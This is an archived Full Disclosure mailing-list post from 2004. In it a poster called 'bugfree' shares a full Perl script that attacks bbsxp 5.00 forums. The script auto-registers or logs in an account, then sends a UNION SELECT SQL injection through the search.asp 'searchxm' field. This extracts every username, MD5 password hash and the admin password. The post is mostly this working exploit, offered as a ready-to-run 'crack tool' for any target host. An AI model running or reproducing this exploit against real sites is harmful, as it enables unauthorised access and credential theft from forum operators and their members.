Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Php Nuke Hack's
From: bug free <bugfree () gmail com>
Date: Tue, 26 Oct 2004 16:56:07 -0400

Please don't expose yourself.
This is all I got for you.
http://www.milw0rm.com/search.php?dong=php-nuke

That is not very cool. See my crack tool for bbsxp forum. It works
well on 5.00, 4.0beta3 and beta4.Your crack crack just like watch
moive. It will register user and get the password for you
automatically.  ;)

-- 
Thanks
bugfree


#!/usr/bin/perl
#############################################
#       This tool is used to crack bbsxp 5.00(access, MSSQL)
#       Deveoped by bugfree ( www.xxxxxx.org ) 
#       Thanks theAres for his help on debuging
#############################################

use IO::Socket;
use Getopt::Std;
use HTTP::Request::Common;
use HTTP::Cookies;
use LWP;
use LWP::UserAgent;
use HTML::Form;

$version='1.0';
#$username = 'test';
#$password = 'testt';
$namepass = 'test:test';
$username2 = 'zgtqwpmz123';
$password2 = 'gbhnjm';
$fLoginFail = 0;
$fRegistFail =0;


%options=();
getopts("h:u:",\%options);
(defined $options{h} ) || die "Usage(version:" . $version . "):
$0\n\t-h www.abc.com/bbs/\n\t-u username:password\n";
                                                                                
$tmpUrl = $options{h}  if defined $options{h};
$namepass = $options{u}  if defined $options{u};
@str = split(":", $namepass);
$username = $str[0];
$password = $str[1];

if ( $tmpUrl =~ /(http:\/\/)?([a-z0-9.]+)\/(.*)/i ) {
        $webhost = $2;
        $webdir = $3;
        $webUrl = $webhost . '/' . $webdir .'/';
        $webUrl =~ s/\/\//\//;
        $webUrl = 'http://&apos; . $webUrl;
}
else {
        die "Please use format: -h http://www.target.com/bbs/";;
}

print "SQL injection for URL: $webUrl \n";


#Global URL
my $loginPage = $webUrl  . 'login.asp';
my $searchPage = $webUrl . 'search.asp';
my $registPage = $webUrl . 'register.asp';

my $cookies = HTTP::Cookies->new();
my $ua = LWP::UserAgent->new;
$ua->cookie_jar( $cookies );

#loginRegist();
webLogin( $username, $password );
if ( $fLoginFail == 1 ) {
        loginRegist( $username2, $password2 );  #try 2nd user
        if ( $fRegistFail == 1 ) {
                $fLoginFail = 0;
                webLogin( $username2, $password2 );
                if ( $fLoginFail == 1 ) { die "Sorry, Can not login to web \n"; }
        }
        
}

#sql injection 
webSearch();


######################
# Functions list
#       loginRegist() :register to bbs
#       webLogin()   : web login
#       webSearch()   : web login
######################

sub webSearch
{
        #injection SQL, Leave a space in the end 
        $searchxm = 'forumid=0 union all SELECT 1, forum.forumid,
user.userpass, user.username, forum.content, forum.posttime,
forum.postip, forum.replies, forum.Views, forum.icon, forum.goodtopic,
forum.toptopic, forum.locktopic, forum.deltopic, forum.lastname,
forum.lasttime, clubconfig.adminpassword, forum.pollresult ,
forum.multiplicity FROM [user],forum, clubconfig where user.membercode
3  OR user.username ';
        
        
        $request = POST ( $searchPage . '?menu=ok' ,
                [
                content => 'abcd',
                search => 'author',
                searchxm => $searchxm,
                searchxm2 => 'topic',
                TimeLimit => '1',
                forumid =>''
                ],
                Referer => $searchPage,
                Connection => 'Keep-Alive',
                User-Agent => 'Mozilla/4.0',
                Host => $webhost
                ); 
        
        $response = $ua->request( $request );
        
        if ( $response->as_string =~ /HTTP\/1.[01] 200/ )
        {
                print "search Success\n";
                %passwdGet = ();
                @htmlOut= split("\n",$response->as_string);
                foreach $v (@htmlOut)
                {
                        if ( $v =~ /<script>ShowForum\("\d+","([A-Z0-9]{32,32})",".*?","(.*?)",.*<\/script>/
)
                        {
                                $passwdGet{$1}=$2;
                                #print "\tUsername: $2\n\tMD5 passwd: $1" . "\n";
                        }
                }
                while ( my ( $key, $value ) = each %passwdGet )
                {
                        print "\tusername: $value\n\tMD5 passwd: $key\n";
                }
        }
        else
        {
                print $response->as_string. "\n";
                die "search Failed\n";
        }
        
}


sub loginRegist
{

        $myusername = $_[0];
        $mypassword = $_[1];


        $request = POST ( $registPage,
        [
        username => $myusername,
        password => $mypassword,
        userpass2 => $mypassword,
        usermail => 'fr () fr com',
        realname => 'baby',
        userface => 'images/face70.gif',
        birthday => '',
        perlsonal => '',
        sign => '',
        sex => '',
        country => '',
        province => '',
        city => '',
        blood => '',
        belief => '',
        occupation => '',
        marital => '',
        education => '',
        college => '',
        userqq => '',
        icq => '',
        usrehome => '',
        question => '',
        answer => ''
        ],
        Referer => $registPage,
        Connection => 'Keep-Alive',
        User-Agent => 'Mozilla/4.0',
        Host => $webhost,
        );

        $response = $ua->request( $request );
        $cookies->extract_cookies( $response );

        if ( $response->as_string =~ /HTTP\/1.[01] 200/ )
        {
                print "Register Success ($myusername, $mypassword)\n";
        }
        else
        {
                $fRegistFail = 1;
                print "Register Failed ($myusername, $mypassword)\n";
        }
}

sub webLogin
{
        $myusername = $_[0];
        $mypassword = $_[1];

        my $request = POST ( $loginPage,
                [       menu => 'add',
                        username => $myusername,
                        userpass=> $mypassword
                ],
                Referer => $loginPage, 
                Connection => 'Keep-Alive',
                User-Agent => 'Mozilla/4.0',
                Host => $webhost
                ); 
        
        $response = $ua->request( $request );
        $cookies->extract_cookies( $response );
        
        if ( $response->as_string =~ /HTTP\/1.[01] 200/ )
        {
                print "Login Success($myusername, $mypassword)\n";
        }
        else
        {
                $fLoginFail = 1;
                print "Login Failed($myusername, $mypassword)\n"
        }
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]